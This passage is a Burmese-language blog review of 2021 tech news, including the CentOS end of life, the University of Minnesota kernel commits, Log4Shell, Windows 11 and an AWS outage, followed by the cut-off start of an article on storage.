ပြီးခဲ့နှစ် ၂၀၂၀တုန်းကရေးတဲ့ထဲမှာ CentOS 8 ကို အခုနှစ် ၂၀၂၁ နှစ်ကုန်မှာ End Of Life (EOL) လုပ်ဖို့ RedHat ဘက်ကထုတ်ပြန်ပြီးတဲ့နောက်မှာ open-source နဲ့ Linux community တွေထဲမှာ တော်တော်လေးကို ဆူဆူလောင်လောင်ဖြစ်ခဲ့ရပါတယ်။ အချို့ကလည်း RedHat ရဲ့လုပ်ရပ်ကို လက်ခံပြီးတော့ ပြောင်းသင့်တဲ့အပြောင်းအလဲ တစ်ခုဖြစ်တယ်လို့ ဝေဖန်ပြောဆိုတာရှိခဲ့သလို၊ IBM က RHEL ကို ဝယ်ပြီးတဲ့နောက်ပိုင်း အကျိုးအမြတ်ပိုရနိုင်ဖို့အတွက် ရည်ရွယ်ချက်အပြည့်နဲ့ လုပ်တယ်လို့လည်း ဆိုလာသူတွေရှိပါတယ်။ စာရေးသူအမြင်က နှစ်ဘက်လုံးမှာ ကိုယ်ဆီသွားချင် Agenda တွေရှိနေတယ်လို့မြင်ပါတယ်။ ၂၀၂၁ခုနှစ်ထဲမှာ တဖြည်းဖြည်းနဲ့ နားလည်လာတာတစ်ခုက လူတိုင်း တယောက်ချင်းစီမှာပဲဖြစ်ဖြစ်၊ အုပ်စုလိုက်ဖွဲ့ စည်းထားတဲ့ အသင်းအဖွဲ့တွေမှာပဲဖြစ်ဖြစ်၊ ပြောတဲ့စကားတိုင်း လုပ်တဲ့လုပ်ရပ်တိုင်းမှာ Agenda ဆိုတဲ့ ဦးတည်ချက်လားရာအမြဲတွဲပြီး ပါလေ့ရှိပါတယ်။ အတ္တတွေနဲ့မို့ ဘယ်သူမှ မရိုးခဲ့ကြပါဘူး။ စာရေးသူလည်း အဲ့ဒီထဲမှာပါတယ်။ အဲ့ဒီကိစ္စကို ဒီနေရာမှာနည်းနည်းလေး ထည့်ပြီး ဆွေးနွေးကြည့်ရအောင်။

CentOS ကို RedHat ကစပြီးတော့ sponsor လုပ်ကတည်း ရည်ရွယ်ချက်နှစ်ခုရှိတယ်လို့ ယူဆရပါတယ်။ ပထမတစ်ခုက community ထဲမှာ RHEL ရဲ့ stable clone ကို ဒီအတိုင်းထားမယ့်အစား influence လုပ်လို့ရနိုင်တဲ့ လက်တချောင်းလိုပါတယ်။ နောက်တချက်က RHEL ရဲ့ Software Development Life Cycle (SDLC) ထဲမှာ တနည်းနည်းနဲ့ထည့်သုံးရနိုင်အောင်လည်း ကြံရွယ်ပုံရတယ်။ RedHat လို profitable ဖြစ်တဲ့ company တစ်ခုက CentOS ကို sponsor လုပ်ခြင်းဖြင့်လည်း open-source community ထဲမှာ သြဇာလည်းတက်၊ နာမည်လည်းရမယ့်ဟာကို ကြိုမြင်ပုံရပါတယ်။ အဲ့ဒီအတိုင်းပဲ လူတိုင်းရဲ့ ယုံကြည်မှုကို RedHat ကအပိုင်ရယူနိုင်ခဲ့တယ်။ အားလုံးအတွက် win-win situation တစ်ခုကို ဖန်တီးလိုက်နိုင်တဲ့ sponsorship အနုပညာတရပ်လို့တောင်ဆိုလို့ရမလားမသိဘူး။ ဒီလိုနဲ့ CentOS ဟာ RHEL ရဲ့ downstream project ဖြစ်လို့လာပြီး၊ RedHat မျှော်လင့်ထားသလို CentOS ကနေပြီး feedback ကောင်းကောင်းပြန်လာတာမျိုး မရှိသလောက်ရှားပါးတဲ့အတွက် RHEL အတွက်အများကြီး အထောက်အကူ ပြုသင့်သလောကမပြုခဲ့ပါဘူး။ သို့သော် အားလုံးထဲမှာ အမြတ်ထွက်သွားတာက web hosting company ကြီးတွေနဲ့ enterprise အကြီးစားတွေမှာ RHEL ကို ငွေကုန်ခံပြီးတော့ အသုံးပြုမယ့်အစား CentOS လိုမျိုး RHEL ရဲ့ clone ကိုသာ တွင်တွင်ကျယ်ကျယ်အသုံးပြုလို့လာခဲ့ကြတယ်။ RedHat ဘက်မှာတော့ ပိုပြီးတော့အလုပ်ဖြစ်လာမလို့ ဆိုပြီးတော့ sponsor လုပ်လိုက်တာဖြင့် သူ့ရဲ့ရောင်းအားကိုပါလာထိတဲ့ သဘောမျိုးဖြစ်နေတယ်လေ။ IBM က RedHat ကိုဝယ်ပြီးတဲ့နောက်မှာတော့ ဒီကိစ္စဟာ အမြတ်အစွန်းထွက်ဖို့အတွက် ကျော်သွားလို့မရတဲ့ အနေအထားမျိုးဖြစ်လာပါတယ်။ အဲ့ဒီအတွက် CentOS ကို RHEL ရဲ့ downstream မှာမထားတော့ပဲ၊ upstream မှာထားလိုက်ခြင်းအားဖြင့် တချက်ခုတ် သုံးလေးငါးချက်ပျက် သလိုဖြစ်နေတဲ့အတွက် CentOS 8 မှာပဲ EOL ကိုအမြန်ဆုံးရောက်အောင် ကိစ္စရှင်းတဲ့ပုံစံမျိုးပါ။ RHEL လောက် stable မဖြစ်ပေမယ့်လည်း ဆက်သုံးချင်သုံးလို့ ရအောင်တော့ CentOS stream ကို rolling release အနေနဲ့ ထားရစ်ခဲ့ပေးပါတယ်။ Upstream ဖြစ်လာတဲ့ အတွက် feedback loop လည်း RHEL အတွက်ပိုကောင်းဖို့ပဲရှိပါတယ်။ ဒီအတွက် ရလဒ်ကတော့ အထက်မှာပြောခဲ့တဲ့ hosting company တွေနဲ့၊ အချို့သော အရမ်းကို ချမ်းသာတဲ့ company တွေ enterprise တွေ မှာ CentOS 8 ရဲ့ EOL ကိုဖြေရှင်းဖို့အတွက် Ubuntu လိုမျိုး Debian based distro တွေဆီကိုပြောင်းနည်းတစ်ခု၊ OpenSUSE လိုမျိုး RPM သုံးတဲ့ distro ကိုပြောင်းနည်းကတဖုံ အမျိုးမျိုးကြံဆရပါတော့တယ်။ အံ့သြဖို့ကောင်းတာက CentOS ကို အသုံးပြုနေတဲ့ company တွေထဲမှာ Tesla တို့လိုမျိုး အချမ်းဆုံးသော company တွေပါဝင်နေတယ်ဆိုတာပါပဲ။ နောက်ဆုံး အဲ့ဒီအဖြစ်အပျက်တွေကြားကနေ CloudLinux နဲ့ Rocky Linux နှစ်ခုကနေ CentOS community တစ်ခုလုံးအတွက် ကတိကဝတ်ပြုပြီး RHEL ကို clone လုပ်ပြီးမှ maintain လုပ်ဖို့ကို အရင်နှစ် ၂၀၂၀ ကုန်ခါနီးမှာ သတင်းထွက်လာပါတယ်။ အောက်မှာတော့ CloudLinux ကထုတ်တဲ့ AlmaLinux distribution နဲ့ Rocky Linux နှစ်ခုကို download လုပ်ဖို့ရာ လင့်တွေကိုထည့်ပေးလိုက်ပါတယ်။

{% embed url="<https://mirrors.almalinux.org/isos.html>" %}

{% embed url="<https://rockylinux.org/download>" %}

**(၃) Hypocrite commits တွေနဲ့ Linux kernel**

Linux kernel ဟာ open-source ဖြစ်တဲ့အတွက် ဘယ်သူမဆိုဝင်ပြီးတော့ ပြင်လို့ရတယ်၊ pull request လုပ်လို့ရပါတယ်။ အဲ့လိုမျိုး လုပ်လို့ရတဲ့ trusted network ထဲမှာ အချို့သော company တွေနဲ့ university တွေပါတယ်။ ဒီလို trusted network ထဲမှာပါဖို့၊ ဖြစ်လာဖို့ ဆိုတာမျိုးဟာကလည်း pull request တော်တော်များများနဲ့ ဝင်ပြီးတော့ contribute လုပ်ထားမှရလာတဲ့ status တစ်ခုဖြစ်တယ်။ ကိုယ်ပြင်ချင်တိုင်း ဝင်ပြင်၊ ဝင်ပြီး pull request လုပ်လို့ဆိုတာလည်း လွယ်တဲ့ကိစ္စတော့လည်း မဟုတ်ပါဘူး။ ဒီနှစ်ထဲမှာ ထူးခြားတာတစ်ခုက University of Minnesota (UMN) မှာ research လုပ်နေတဲ့ ကျောင်းသားအဖွဲ့တစ်ခုကနေပြီး Linux kernel မှာဘယ်လိုမျိုး flaw တွေရှိနိုင်တယ်ဆိုတာကို research လုပ်တဲ့ဟာမှာ ဖော်ပြချင်တဲ့အတွက် Hypocrite Commits ဆိုပြီးတော့ malicious code တွေကိုထည့်သွင်းပြီး pull request/merge request လုပ်ခဲ့ပါတယ်။ ဒါကို Linux kernel ရဲ့ gatekeeper လို့တောင်တင်စားပြီးတော့ ခေါ်ကြတဲ့ Greg Kroah-Hartman က review လုပ်တဲ့အခါမှာ တွေ့ရာကနေ ပြဿနာကစပါတော့တယ်။ အဲ့ဒီကစလို့ University of Minnesota (UMN) ကအရင်တုန်းက တင်ခဲ့တဲ့ commits တွေကိုပါပြန်ပြီး မြေလှန်ရှာပါတော့တယ်။ အစဉ်အလာ အားဖြင့်တော့ UMN က reputation ကောင်းတဲ့ contributor တစ်ခုပါ။ အခုတော့ research ကျောင်းသားတွေလုပ်လို့ Linux Foundation ရဲ့ Technical Advisory Board (TAB) နဲ့ အခြားသော Linux kernel developers တွေက UMN ကို ဆက်ပြီးတော့ commits တွေပေးမတင်တော့ပါဘူး။ ၂၀၂၁ ခုနှစ်မှာတော့ open-source community တစ်ခုလုံးကို တုန်ခါသွားစေတဲ့ သတင်းတစ်ခုဖြစ်ခဲ့ပါတယ်။ ဒါ့အပြင် Linux kernel ကို open-source လုပ်ပြီးတော့ commits တွေကို ဘယ်လို handle လုပ်တယ်၊ ဘယ်လို review လုပ်တယ်ဆိုတာကိုကလည်း စာရေးသူတို့ စိတ်ဝင်စားစရာ လေ့လာသင်ယူရပါတော့တယ်။

**(၄) SolarWinds Stock Market မြင့်တက်မှု**

SolarWinds ရဲ့ ခုနှစ် ၂၀၂၀ ဟာရုပ်ဆိုးစွာဖြင့်ပြီးဆုံးခဲ့ရပြီးတော့၊ နည်းပညာ company တွေတော်တော်များများလည်း SolarWinds ရဲ့ breach ကြောင့်တော်တော်လေး အလုပ်ရှုပ်သွားစေခဲ့ပါတယ်။ အပြင်ပိုင်းကြည့်လိုက်ဖြင့် SolarWinds ရဲ့အနာဂတ်ဟာ အတော်ကို အကြည်တန်ရုပ်ဆိုးစေနိုင်တာကိုတွေ့ရမှာပါ။ သို့သော်လည်း ဒီနှစ် ၂၀၂၁ ခုနှစ်မှာတော့ SolarWinds ရဲ့ stock market ဟာအတက်ဘက်ကို ပြန်လို့တောင်ရောက်လာတာကိုတွေ့ရမှာပါ။ SolarWinds ရဲ့ products တွေကိုသုံးတဲ့ company တွေအနေနဲ့လည်း network monitoring platform တစ်ခုလုံးကို အကုန်ဖြုတ်ပြီး ရှိသမျှဟာတွေကို အခြားသော product တစ်ခုနဲ့ပြန်ပြီး စဖို့ဆိုတာ နည်းနည်းတော့လည်း မလွယ်ပါဘူး။ အဲ့ဒီတော့ ဖြစ်လာပုံက SolarWinds ရဲ့ support နဲ့ developer တွေကိုငွေကြေးပိုပေးပြီး ဒီထက်လုံခြုံအောင်သာ လုပ်ပေးဖို့ ညှိကြပုံရပါတယ်။ SolarWinds ကထုတ်တဲ့ product တွေဟာလည်း network monitoring အတွက် အတော်ကိုအသုံးများရုံသာမက၊ နည်းပညာနယ်ပယ်ထဲကလူတွေ အတော်လေးကို ကြိုက်နှစ်သက်ကြပါတယ်။ အဲ့ဒီအတွက်လည်း customer တွေအများကြီးတိုးပြီးတော့ ရလာတာမျိုးထက်၊ support ကိုစျေးမြင့်တင်ခြင်းဖြင့် ပိုပြီး profitable ဖြစ်စေတဲ့ stock တစ်ခုအနေနဲ့ ရပ်တည်လာပုံရပါတယ်။ သို့သော်လည်း အရင်တုန်းကလောက် stock စျေးပြန်မတက်လာပါဘူး။ ဒီနေရာမှာ စိတ်ဝင်စားစရာတစ်ခုက publicity တိုင်းဟာကောင်းပါတယ်။ Bad publicity ဖြစ်သည့်တိုင်အောင် လူတွေရဲ့စိတ်ဝင်စားခြင်းခံရသဖြင့် company အတွက်ပိုလို့တောင်ကောင်းတယ်လို့ ဆိုနိုင်ပါတယ်။ COVID-19 စစချင်းတုန်းက Zoom ဟာလည်း bad publicity အချို့နဲ့စတင်ခဲ့ရာကနေ အခုဆိုရင် ဘယ်သူမဆို Zoom ကိုမကြားဘူးတဲ့သူ မရှိသလောက်ပါပဲ။

**(၅) Ingenuity Landing နဲ့ Linux ရဲ့အောင်ပွဲ**

Linux ကမ္ဘာမှာနောက်တစ်ခု စိတ်လှုပ်ရှားစရာ နောက်တစ်ခုက Ingenuity Helicopter ဟာ ကမ္ဘာနဲ့ လေထုသိပ်သည်းဆ မတူတဲ့ Mars မှာအောင်မြင်စွာ ဆင်းသက်နိုင်ခဲ့ပါတယ်။ မှတ်မှတ်ရရ အဲ့ဒီ NASA project ကိုဦးဆောင်တဲ့ အမျိုးသမီးဟာ စာရေးသူတို့ မြန်မာလူမျိုးဖြစ်နေတဲ့အတွက် ပိုလို့တောင် ဂုဏ်ယူမိပါသေးတယ်။ ကိုယ့်မြန်မာလူမျိုး မညံ့တာကို ဒီနေရာမှာအသိအမှတ်ပြုရမှာပါ။ လက်ရှိဖြစ်နေတဲ့ စစ်တပ်အာဏာသိမ်းပြီးတော့ မတရားလုပ်နေတာကို မြင်တိုင်းကြားတိုင်း စာရေးသူတို့အတွက် တန်ဖိုးရှိလှတဲ့ လူ့အရင်းအမြစ်နဲ့ အချိန်တွေအရမ်းကို ကုန်ရပါလားလို့ တွေးမိတိုင်းလည်း ဒေါတအလိပ်လိုက် ထွက်မိတာအမှန်ပါ။ ဒါကိုလည်း လူထုတရပ်လုံး နားလည်လို့ အခုလိုမျိုးမတရားလုပ်နေတဲ့ စစ်တပ်ကို ဒီပွဲမှာအပြတ်ဖြုတ်နေတယ်လို့တော့ထင်ပါတယ်။ ပေးသလောက်လည်း အကုန်ပြန်ရရမယ်လို့ စာရေးသူ ယုံကြည်တယ်။

ဆိုလိုရင်းဖြစ်တဲ့ Linux kernel အကြောင်းပြန်သွားလိုက်ရအောင်။ NASA ရဲ့ Ingenuity Helicopter ကိုအောင်မြင်စွာ landing လုပ်နိုင်အောင် စွမ်းဆောင်ပေးတာ စာရေးသူတို့ မြန်မာလူမျိုး အမျိုးသမီး ရဲ့ဦးဆောင်မှုအပြင်၊ နောက်ထူးခြားချက်က Linux kernel ကလည်းတိုက်ရိုက်ပါဝင်ပတ်သတ်နေပါတော့တယ်။ Ingenuity ကို အဝေးကနေထိန်းဖို့အတွက် အသုံးပြုတဲ့ custom OS ဟာ Linux kernel ကိုအသုံးပြုထားတဲ့အတွက် power consuming ရော၊ operation အတွက် reliability မှာပါအကုန်အဆင်ပြေပြေ ပျံသန်းနိုင်အောင် ကူညီထောက်ပံ့ပေးခဲ့ပါတော့တယ်။ ဒီိလိုနဲ့ Mars မှာ ပထမဆုံး အသုံးပြုတဲ့ OS တစ်ခုရဲ့ kernel အနေနဲ့ မှတ်တမ်းတင်နိုင်ခဲ့တယ်။

**(၆) IPO ဖြစ်လာတဲ့ GitLab နဲ့ HashiCorp**

Company တွေဟာ IPO ဖြစ်ဖို့အတွက် အချိန်ပေးရရုံသာမက၊ stock market ရဲ့လိုအပ်ချက်တွေကို အကုန်ကိုက်ညီအောင်လို့လုပ်ဖို့ရာအတွက် resource တွေအများကြီး ကုန်တဲ့ကိစ္စပါ။ IPO ဖြစ်လာတယ်ဆိုတာက အလွယ်ပြောရရင် company တစ်ခုရဲ့ stock တွေကို market မှာလူတိုင်း ဝယ်ယူလို့ရအောင် လုပ်တာမျိုးပါ။ ဒီအတွက် core investor တွေသာမကပဲ၊ stock holder တွေပါထပ်ပြီးတော့တိုးလာတဲ့ အတွက် company ဖို့ရာ funding မှာအများကြီးပိုလာတယ်။ ဒီအတွက် တိုးချဲ့လုပ်ဖို့ရာ လုပ်ငန်းစဉ်များအတွက် ငွေပိုရလာတဲ့ သဘောမျိုးပါ။ အခြားသော အကျိူးအမြတ်တွေလည်း များစွာရှိသော်လည်း စာရေးသူသေချာတော့ မသိတော့ပါ။

ဒီနှစ်ထဲမှာ GitLab နဲ့ HashiCorp နှစ်ခုလုံး IPO ဖြစ်လာပါတယ်။ Company နှစ်ခုလုံးက open-source ဖြစ်တဲ့အပြင်၊ developer တွေရဲ့ အသည်းစွဲ product များစွာထုတ်တဲ့ company နှစ်ခုပါ။ စာရေးသူ GitHub ကို public facing အတွက်အသုံးပြုများသော်လည်း၊ GitLab ကိုတော့ personal project တွေအတွက်အသုံးပြုတာများပါတယ်။ HashiCorp ဆိုတာကတော့ စာရေးသူ အသေကြွေရတဲ့ Vagrant တို့၊ Terraform တို့၊ Vault တို့လို Infrastructure As Code (IaC) toolchain တွေကိုထုတ်ပေးတဲ့ company ဖြစ်တဲ့အတွက် IPO ဖြစ်လာတာကို ဝမ်းမြောက်ဝမ်းသာ ဖြစ်ရပါတယ်။ Innovation ပိုင်းမှာတော့ နှစ်တိုင်း product အသစ်တွေအများကြီး ထုတ်နိုင်တဲ့ company နှစ်ခုပါ။

**(၇) နှစ်ကုန်ခါနီးတိုင်း ဖြစ်တတ်လွန်းတဲ့ 0-day vulnerability**

ပြီးခဲ့နှစ်က SolarWinds ရဲ့ supply-chain attack ကြောင့် ICT engineer တွေတော်တော်လေးကို အလုပ်ရှုပ်ခဲ့ကြရပါတယ်။ ဒီနှစ်မှာတော့ Log4Shell ဆိုတဲ့ zero day vulnerability တစ်ခုနှစ်ကုန်ခါနီးကြမှာ ထပေါ်လာပြန်ပါတယ်။ ပြီးခဲ့ တစ်ပတ်နှစ်ပတ်လောက်မှာ CVE-2021-44228 ဆိုတာ ထွက်လာပါတယ်။ Apache ကထုတ်တဲ့ Java application တော်တော်များများမှာ အသုံးပြုထားသော Log4j လို့လူသိများတဲ့ logging interface တစ်ခုပါ။ Java Naming and Directory Interface (JNDI) လို့လည်းလူသိများလာတဲ့ attack surface တစ်ခုပါ။ နည်းပညာလောကထဲက software နဲ့ hardware vendor တွေအများကြီး အဲ့ဒီ open-source logging interface လေးကိုအသုံးပြုတဲ့အတွက် နောက်ဆုံး အသစ်ထုတ်ထားတဲ့ version နှစ်ခုကလွဲလို့ log4j ကိုသုံးတဲ့ software တွေနဲ့ platform တွေအကုန် vulnerable ဖြစ်ပါတယ်။ နောက်ဆုံး version တစ်ခုမထွက်လာခင် စပ်ကြားမှာတော့ log4j ကို manually disable လုပ်လို့ရတယ်။ အဲ့ဒါကို hotfix သို့မဟုတ် patch အနေနဲ့ vendor တော်တော်များများက သူတို့ Security Advisory Board မှာတင်တာကိုတွေ့ရပါတယ်။ VMware လိုမျိုး virtualisation vendor မှာအများကြီး ထိပါတော့တယ်။ အခြားသော vendor တွေလည်း vulnerable ဖြစ်တဲ့ထဲမှာပါတယ်။ ဒီတော့ ဒီသတင်းထွက်လာပြီဆိုကတည်း vulnerable ဖြစ်နိုင်တဲ့ platform တွေကို bad actors တွေစတင်ပြီးတော့ scan လုပ်ပါတယ်။ အချို့လည်း အချိန်မှီ patch မလုပ်နိုင်တာပဲဖြစ်ဖြစ်၊ လုံးဝကိုမသိလိုက်တာပဲဖြစ်ဖြစ် Log4Shell vulnerability ကိုသုံးပြီးတော့ breach လုပ်ဖို့အကြောင်းဖန်လာပါတယ်။ ဒီနေရာမှာ စာရေးသူ အတည်ပြုလာနိုင်တာတစ်ခုကတော့ developer တွေဟာ security specialist တွေမဟုတ်ဘူးဆိုတာပဲဖြစ်ပါတယ်။

**(၈) Open-source တစ်ခုတည်းကို သုံးဖို့ကြိုးစားလာတဲ့ ဂျာမန်မြို့ကလေး**

ဥရောပနိုင်ငံတွေဟာ open-source နဲ့ပတ်သတ်လာရင် ပိုပြီးတော့ တစိုက်မတ်မတ် စိတ်ဝင်စားစား ပါဝင်ကြတယ်၊ contribute လုပ်ကြတယ်လို့မြင်မိပါတယ်။ OpenSUSE လိုမျိုး distro တစ်ခုကို မွေးဖွားပေးခဲ့တဲ့ ဂျာမနီနိုင်ငံဟာ ကျောင်းတွေ နဲ့ အစိုးရရုံးတွေမှာ open-source software တွေကိုပဲ အသုံးပြုဖို့လုပ်လာတာ တော်တော်ကြာပါပြီ။ အကြောင်းအမျိုးမျိုးကြောင့် ချက်ချင်းဆိုသလိုမျိုး user experience ကိုပြောင်းပစ်ဆိုတာ လွယ်တဲ့ကိစ္စတော့မဟုတ်ပါဘူး။ ဥပမာ Microsoft Windows ကိုကျွမ်းကျင်စွာသုံးနိုင်တဲ့ ရုံးဝင်ထမ်းတွေဟာ Linux distro တစ်ခုဖြစ်တဲ့ Ubuntu ကိုလုံးဝပြောင်းပစ်ဖို့ဆိုတာမျိုးက လက်တွေ့မှာ လုံးဝမလွယ်ပါဘူး။ ရုံးဝင်ထမ်းများအပြင် IT Support team အနေနဲ့လည်း Linux ကိုချက်ချင်း support လုပ်ဖို့က မဖြစ်နိုင်ပါ။ ဒီအတွက် လက်တွေ့မကျဘူး အချို့ကဆိုလာကြပါတယ်။ ဒီနှစ်ထဲမှာတော့ ဂျာမနီနိုင်ငံရဲ့ မြို့လေး တစ်မြို့မှာတော့ ချဉ်းကပ်ပုံက ကွာခြားပါတယ်။ အဲ့ဒီမြို့မှာ တမြို့လုံးက ရုံးမှာအသုံးပြုနေတဲ့ Microsoft Office Suite တစ်ခုလုံးကို LibreOffice နဲ့ စပြီးတော့ အစားထိုးပါတယ်။ User တွေအနေနဲ့ Windows ပေါ်မှာပဲ Microsoft Office ကနေ LibreOffice ပြောင်းသွားတာပဲရှိပါတယ်။ အဲ့ဒီနှစ်ခုဟာလည်း UI နဲ့ အသုံးပြုလို့ရတဲ့ function အပိုင်းမှာတော့ တော်တော်များများတူပါတယ်။ ဒါကို stage 1 အနေနဲ့ သူတို့ roll-out လုပ်ပြီးတော့ ဖြေးဖြေးချင်းစီမှာ open-source software တွေကိုပဲ အသုံးပြုနိုင်အောင် ကြိုးစားသွားမယ်လို့ ဆိုလာပါတယ်။ စိတ်ဝင်စားဖို့ ကောင်းတာတစ်ခုက OpenOffice ဟာတချိန်က Microsoft Office Suite ကိုဝယ်ပြီးတော့ မသုံးနိုင်တဲ့ University ကျောင်းသားတွေအတွက်တော့ open-source ဘက်ကိုရောက်လာအောင် စွဲဆောင်နိုင်စွမ်းရှိတဲ့ gateway drug တစ်ခုဖြစ်ခဲ့ရပါတယ်။ ဒီလိုပဲ အခုတခါလည်း LibreOffice ကိုရုံးမှာသုံးရင်း ရင်းနှီးကျွမ်းကျင်မှုရှိလာတဲ့အခါကြရင် အဲ့ဒီ ရုံးဝင်ထမ်းတွေ၊ အဲ့ဒီကျောင်းသား ကျောင်းသူတွေ အိမ်ကိုပြန်ရောက်တဲ့အခါ ဘာမှအကုန်အကျမရှိပဲနဲ့ LibreOffice ကို download ဆွဲပြီးတော့ အသုံးမယ်ဆိုရင်၊ စာရေးသူအမြင်မှာတော့ open-source အတွက် မျက်နှာပန်းပိုလို့ လှနိုင်စရာရှိပါတယ်။ Open-source မှာက marketing အတွက်အထူးတလည် ကြိုးစားတာမျိုး မရှိတဲ့အတွက်၊ လူတွေမသိပါဘူး။ သိတောင်မှ ကိုယ်နဲ့တိုက်ရိုက်ပတ်သတ်မှုမျိုး မရှိတဲ့အတွက် အထူးတလည် စိတ်ဝင်စားမှုလည်း မရှိနိုင်ပါ။ ဒီတော့... အခုလိုမျိုး ချဉ်းကပ်တာ လက်တွေ့ပိုဆန်တယ်လို့တော့ မြင်ပါတယ်။

**(9) တိုင်ပတ်နေဆဲဖြစ်တဲ့ Microsoft နဲ့ Windows 11**

ဒီနှစ်ထဲမှာ မပြောမဖြစ်ပြောရမယ့် နည်းပညာလောကထဲက အမှတ်တရတခုဟာ Windows 11 ပါ။ Microsoft က Windows 10 ကိုထုတ်တုန်းကတော့ ဒီ Windows ဟာနောက်ဆုံးနဲ့ အကောင်းဆုံး Windows ဖြစ်ပြီး point release သို့မဟုတ် point update ပုံစံမျိုးပဲ အသစ်ထွက်မယ်လို့ ဆိုပါတယ်။ အခု ၂၀၂၁ ခုနှစ်မှာတော့ အဲ့ဒီစကားဟာ အကြုံမဝင်တော့ပါဘူး။ Windows 11 ကိုထုတ်ပြီးသကာလ Linus Tech Tips လိုမျိုး YouTube နဲ့ Social Media ပေါ်က tech channel influencer တွေခြေချင်းလိမ်ပြီးတော့ ဘယ်လောက်တောင် စိတ်လှုပ်ရှားဖို့ကောင်းတဲ့ ဆိုတဲ့အကြောင်းကို ဖွဲ့နွဲ့ပြီးတော့ Windows 11 အတွက် promotion ပုံစံ video တွေအများကြီးအစောပိုင်းမှာ ထွက်လို့လာပါတော့တယ်။ ဒါဟာ sponsorship ကိုသုံးပြီးတော့လုပ်တဲ့ media campaign လို့ပဲထင်ပါတယ်။ Microsoft ရဲ့ Windows ထုတ်တဲ့ အစဉ်အလာအရတော့ ကောင်းတယ်လို့ထင်ရတဲ့ Windows version တစ်ခုထွက်လာပြီးရင်၊ နောက်ထွက်လာမယ့် Windows ဟာမကောင်းဖို့ သေချာသလောက်ရှိပါတယ်။ ဥပမာ - Windows XP အဆင်ပြေသလောက်၊ Windows Vista ကတိုင်ပတ်တယ်။ အဲ့ဒီနောက် Windows 7 ထွက်လာတော့ အားလုံးပြန်ကောင်းလာတယ်ဆိုနေတုန်းမှာ၊ Windows 8 ကို UI ကစလို့ အကုန်လုံး ပြောင်းပစ်ပြန်တယ်။ Windows 10 ထွက်လာတော့ Windows 8 မှာအဆင်မပြေတာတွေကို အဆင်ပြေအောင်လုပ်ပေးလို့ လူတွေကြိုက်နှစ်သက်တဲ့ UI နဲ့ user experience ကောင်းကောင်းရပြန်တယ်။ ကဲ... ကောင်းလို့မှမပြီးသေးဘူး အခုလည်း Windows 11 ဆိုပြီး experimental ဆန်ဆန် OS တစ်ခုကို ထုတ်ပြန်တယ်လေ။ စာရေးသူ စမ်းကြည့်သလောက်တော့ အခြေအနေမဟန်ပါဘူး။ Upgrade လုပ်ပြီးတာနဲ့ စပြီးတော့ အလုပ်မလုပ်တော့တဲ့ software တွေ၊ application တွေများတယ်။ ကိုယ့်စက်က Windows 11 ကို support လုပ်စေအုံးတော့ ချက်ချင်းတော့ upgrade မလုပ်သင့်သေးတဲ့ Windows version တစ်ခုပါ။

**(10) AWS မှာလည်း outage တွေနဲ့**

စာရေးသူတို့ နည်းပညာပိုင်းကလူတွေတိုင်းသိတဲ့ system outage / network outage ဆိုတာမျိုးဟာ ရှောင်လွှဲလို့ရနိုင်တဲ့အရာမဟုတ်ပါဘူး။ High Availability (HA) / Distributed Computing / Load Balancer / Replication နဲ့ အခြားသော magic words တွေနည်းပညာမှာ ကျွမ်းကျင်သူတိုင်းမှာရှိပါတယ်။ System တစ်ခုကို design လုပ်ကတည်းက ဘယ်လိုမျိုး ကောင်းသတဲ့ကောင်းအောင် တီထွင်ကြံဆပြီးမှ deploy လုပ်ကြပါတယ်။ သို့သော်... လက်ရှိအခုချိန်ထိ 100% uptime ကို မရနိုင်သေးပါဘူး။ ပြီးခဲ့တဲ့နှစ်က Google outage အကြောင်းကို ပြောတော့ Google ဖြစ်ပြီး outage တဲ့လာဆိုတာမျိုး ပြောစရာရှိပါတယ်။ Google ရဲ့ Site Reliability Engineer (SRE) တွေဆိုတာ DevOps Culture ကိုစတင်ခဲ့တဲ့ special role အနေနဲ့တောင်အတင်စားခံရတဲ့ဟာ လက်တွေ့မှာတော့ အခုလိုမျိုး outage တွေရှိနေပါသေးတယ်။ ဒီနှစ်မှာလည်း ပြီးခဲ့တဲ့ တပတ်မှာ Amazon Web Service (AWS) ရဲ့ outage ကြောင့် ထိခိုက်ဆုံးရှုံးရတဲ့ company တွေအများကြီးရှိပါတယ်။ သို့သော် AWS ရဲ့ availability zones တွေအကုန်လုံးမှာ outage ဖြစ်တာမျိုး မဟုတ်ပါဘူး။ အဲ့ဒီအတွက် ကိုယ့် infrastructure ဟာမတူတဲ့ zones မှာ HA သို့မဟုတ် DR ရှိရင်နေရင်တော့ mean time to recovery (MTTR) / mean time to restore (MTTR) ကပိုပြီးတော့ တိုပါလိမ့်မယ်။ Impact ကတော့ အနည်းနဲ့ အများရှိကြတဲ့အတွက် Cloud မှာ outage မရှိဘူးဆိုတာ လက်တွေ့သိပ်မကျတော့ပါ။ နှောင်နှစ်တွေမှာလည်း ဘယ်လိုမျိုး company ကြီးတွေ outage ဖြစ်မလဲဆိုတာလည်း စောင့်ကြည့်ရအုံးမယ့်တော့ ထင်ပါတယ်။


# Storage အကြောင်းတစေ့တစောင်း – အပိုင်း(၁)

File Systems တွေအကြောင်းကို ရေးမယ်စဉ်းစားမိတော့ ဘာအကြောင်းတွေကိုဖြင့် ထည့်သွင်းရမလဲဆိုပြီးတော့ အတွေးလေးတစ်ခုရပါတယ်။ ရေးမယ်ဆိုပြီး ခဲတို့ထားတော့ကြာပါပြီ။ ဒီအတိုင်း file systems တွေအကြောင်းကို အချက်အလက်တွေစုဆောင်းပြီးတော့ ဒီတိုင်းကြီးရေးချရမှာကိုလည်း ပျင်းနေလို့ မရေးဖြစ်တဲ့ အကြောင်းအရာတစ်ခုပါ။ File system တစ်ခု အကြောင်းကို အသေးစိတ်သွားတော့ မယ်ဆိုရင် storage ဟာမပါလို့ မပြီးတဲ့ topic ပါ။ ဒီတော့ storage အကြောင်းကစမယ်လို့ တစ်ခါအတွေးလေးရမိပြန်ပါတယ်။ စာရေးသူက storage ဘက်မှာမသိတာတွေများလို့ အကြောင်းအရာတွေစုဆောင်းရာကနေပြီးတော့ storage ရဲ့ rabbit-hole အတိုင်း တော်တော်လေး လိုက်ဖတ်မိတော့ ထင်သလောက်တော့ storage ဟာလည်း နားလည်ရ အရမ်းကြီး မခက်ဘူးလို့ သိလာပြန်တယ်။ အဲ့ဒီနောက်ရပြီဆိုပြီးတော့ ရေးမယ်လုပ်ပြန်တော့ storage အကြောင်းပြောလက်စနဲ့တော့ hard disk တွေအကြောင်း၊ solid state drive တွေအကြောင်းကိုလဲ ထည့်ပြောမှ တော်ကာကျမယ်ဆိုပြီးတော့ တွေးမိပြန်တယ်။ ဒါကြောင့် 